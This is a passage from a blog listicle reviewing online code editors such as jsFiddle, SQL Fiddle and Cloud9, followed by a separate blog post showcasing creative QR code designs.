Their interface may be a bit confusing to newcomers. The developers have setup some online tutorials which you can read through if interested. Basically you can select between any number of JS libraries – jQuery, JQuery UI, jQM, Prototype, MooTools, there are dozens to choose from.

JSBin code editing JavaScript online tutorials

As you’re coding different elements the drafts will autosave. You have the ability to download your final product or keep the source code saved online. Their system is much more advanced for exporting and keeping your code as a bare template.

5. jsFiddle

Anybody who has browsed through Stack Overflow must know about jsFiddle. Their interface is a whole lot difference compared to JS Bin, along with support for more complex functions.

Right away you can signup for a free account and start saving your code samples online. jsFiddle offers a short URL which you can share around the Web via Twitter, Facebook, even Stack. But notice you do not need an account to start coding. It’s just a handy feature to keep everything organized.

jsFiddle coding HTML5 and JavaScript

jsFiddle also supports the inclusion of libraries such as Prototype and jQuery. You can include additional external resources to JS/CSS files into each testing document. Incredibly their app even supports XHR Ajax where you can pass data back-and-forth between the server and client browser window.

6. CSSDesk

Moving from the world of scripting into stylesheet language, we have CSSDesk. You’ve got a similar setup like all the rest, with your source code on the left and final webpage render on the right. This webapp is great for building small webpage templates and testing the longer CSS3 properties with gradients and box shadows.

CSS3 coding on CSSDesk web application

This app also allows you to download source code as files to your computer. It can be a solid replacement in situations where you’re working on a laptop without any IDE software. Or additionally, you can generate a short URL link to share online. Then other developers may come in and edit what you’ve already created – definitely an interesting solution!

7. jsdo.it

Here you can share JavaScript, HTML5 and CSS3 code snippets. Their app is not as open as the others, requiring a much more formal registration process. This requires connecting into any other social network such as Facebook, Twitter, Google, or Github. Then you select a username and off we go to code.

jsdo.it online code IDE editor for programming, HTML5, mobile apps

Some of the apps appear to have Japanese writing which makes me believe it was originally created somewhere in Asia. But what I love about their interface is how you can actually upload files you’ve already created and store them into a project. It’s such an easy process to store full webpage mockups online where you can access and edit them from any computer.

8. Google Code Playground

I’m surprised how many developers are not familiar with the Google code sandbox. You have full access to their APIs and can debug all your code right from the same window.

Google Maps v3 API JavaScript code

When I talk about APIs I mean that you can pull data from the biggest Google products. Listing blog posts from Blogger, markers from Google Maps, and even video players directly from YouTube. As you click through these different examples the live preview box will update accordingly.

YouTube JavaScript embed video

I would recommend saving this tool only as a resource. It’s not perfect for debugging everything you write. But Google is a huge company with a lot of open source API data. If you ever need to pull content from YouTube or custom Google Searches, this is the sandbox you want to use.

9. IDEOne

IDE One is another tool based around deep programming and software development. Their online editor supports syntax highlighting for some very prominent languages. These include Objective-C, Java, C#, VB.NET, SQL and dozens more.

IDEOne Website online editor code highlighting and debugging

What’s so great about their app is how you can quickly debug many different programming languages from the same page. You can also store this source code via a unique URL to share around the Web. However I do feel that their layout is very cluttered with ads and other content, it makes using their website difficult. It would be really cool to see the option of including alternate code libraries, such as Cocoa Touch for iPhone app development.

10. Viper7 Codepad

This webapp also named Codepad is hosted on a website viper-7.com, which also redirects to the same online editor. Their debugging tools are setup for PHP output where you can change between PHP5 and PHP4.

Codepad from Viper7

If you create an account you can use their service as a personal storage system. Much like other online editors, you can name each PHP project and keep them hosted online for free. It’s such a powerful code editor because you don’t need any software on your computer at the time. As you parse each script the editor will offer additional meta details, such as browser request & response headers.

11. JSLint

The self proclaimed JavaScript Code Quality Tool has to be JSLint. Their website is a bit strange, yet the code editor works exactly as you would expect.

JSLint JavaScript code debugging console

You might find the options to be very confusing if you haven’t used their framework before. It’s possible to work with open source code such as Node.js if you have the skillset. But much of the source code doesn’t even support syntax highlighting, a big letdown when you have so many other options to choose from. I would check out JSLint if you have the time, but it may not become your go-to online JavaScript debugger.

12. SQL Fiddle

We saw earlier the power of a web application like jsFiddle. Now we can see SQL Fiddle which works in the same way, except for SQL database syntax. I have yet to find another alternative for testing database code and this is by far my favorite choice.

SQL Fiddle coding MySQL and MSSQL online IDE

All of the output data from your SQL code will appear in a table beneath the editors. You can write some code to implement new data on the right and generate a schema on the left. This database schema is SQL code you can save to export your current database and re-install everything on a new server.

If you aren’t familiar with databases or SQL language then this app won’t be much assistance. But even for developers who are new yet interested in learning SQL, this is brilliant! Check out one of their basic code examples so you can get an idea of how the app works.

13. Cloud9 IDE

In my opinion Cloud9 is the best source code editors you can find online. It’s not just an editor, but an entire system of tools and resources and you can store all your code repositories on their servers.

Cloud9 online coding IDE homepage

Account signup is free for all public projects. But if you need private development space this costs $ 15/month which only adds up to $ 180/year. You can share these private code repos with anybody you choose. This brings the opportunity for collaboration between web developers on many different projects.

Cloud9 debugging and coding IDE - demo project folder

Each new project is stored in a subfolder where you can generate real physical files. HTML, CSS, JS, PHP, anything you need to code will be saved locally in your account. Then you can later export these files as a whole project and download them to your computer.

Editing Cloud9 index.php file open source IDE

The amount of things you can accomplish with Cloud9 is extraordinary. I highly recommend toying around in a free account for even 10 or 15 minutes, you’ll be amazed at the UI performance. And their company is always growing so I’m expecting to see very cool features released in the next few years.

14. CodeRun

The CodeRun IDE is an online editor for any dynamic web application. Their text editor looks very similar to Microsoft Visual Studio, and you can even code in C# for ASP.NET. Their libraries include 3rd party resources such as Facebook Connect and Sliverlight.

CodeRun web application IDE - syntax highlighting

But aside from Microsoft-based web applications you can also code in straight JavaScript or PHP. The application runs very similar to Visual Studio where you create a new Website Project and develop over individual files. Towards the bottom of the screen you’ll find debugging tools and output from the console window.

New jQuery Web Application demo HTML/CSS code

CodeRun is fantastic if you do have any experience working with Visual Studio. The interface behaves almost exactly the same, and you can even upload/download project files locally to your computer. This is another tool experienced web developers may consider bookmarking for future reference.

15. Compilr

Here we have another desktop-style online IDE Compilr with a similar template as Windows applications. You can work with open tabbed documents and edit files right on the fly. However you do need to register an account before you can create any new projects.

Compilr web application coding IDE in-browser

Since their layout is designed similar to a regular desktop application it’s much easier to work with having no prior experience. I don’t think any developers would struggle, although their tools do support true programming practices with C++, C#, and Visual Basic. If anything Compilr should be one more app you have in reserve for testing and debugging source code.

Final Thoughts

With more computers connected online, it’s getting easier for developers to work together and collaborate in the browser. We’re seeing more and more technologies shift from local applications, and who knows how far this trend will go?

I hope this collection of code testing tools can get you thinking about the modern development environment. It’s so easy to quickly put together an HTML/CSS web project and within minutes have a small demo preview. Remember these are only tools to help guide you along the path to constructing your final product. If you have any suggestions or questions about the article feel free to share your thoughts in the discussion area below.


hongkiat.com

Stunning QR Codes that Prove Usability Does Not Equal Boring

The QR code has seen a massive surge in popularity as marketers use these marks to drive consumers from print ads to an online landing page. In fact, an article by PrintPlace tells a story of an entrepreneur mom who printed flyers for her advertising business and only received 1 sign up. When she then added a QR code to her flyer design, she had 200 people enroll and 50 new clients! Many more companies are having similar success with QR codes, which is why it is so important for designers to be able to offer this service to clients, especially if you can get creative with your design.

The drawback in the past has been that QR codes are plain, even an eyesore to the design of a project. Today, though, plenty of designers are proving that QR codes do not have to be boring. The challenge is balancing the design goals with recognition by consumers. If you do too much with the design, it becomes difficult to tell that you’re even looking at a QR Code. And if consumers don’t recognize the design, they’re simply not going to scan it.

The following designs show just how creative you can get with a QR Code. The majority of the codes included below actually work when scanned. The other, non-functional ones in this collection are just for an added inspirational kick.

Lisa Frank Inspired

Zipper

Corkbin

Rainbow

Brainy

Coffee

Help Japan Now

Farmville

M&MS

Ghost Busters

Skater

Penquin Graffiti

Chinese

BQ

School Of Rock

Pacman

Batman

Preggo

Chopsticks

Dice

Oreos

Superman

Photo Manipulated

Disney

The Wine Sisterhood

TIME

Cutout

SandCastle

Landscaping

Jet Blue

You might also like…

50 Beautifully Designed Posters with Amazing Typography →
30 Beautifully Colorful Typographic Book Cover Designs →
The Beauty of Minimalist Music Posters →
The Complete Web Design Style Series (700 Designs in 14 Categories) →
10 Album Covers for Eye-grabbing Color Scheme Inspiration →
Eight Helpful Rules for Logo Designers →
The Trend of Minimalist Graphic Design →
A Gallery of Slightly Odd and Wonderful Photography from Mr Toledano →
50 Beautiful HDR Images from 50 World Cities →
20 Beautiful Examples of Photoshopped Smoke Art and Technique Tutorials →
30 Creative Photography Examples using the Polar Panorama Effect →
20 Amazing Images That Could Be HDR – But are definitely Not →


Speckyboy Design Magazine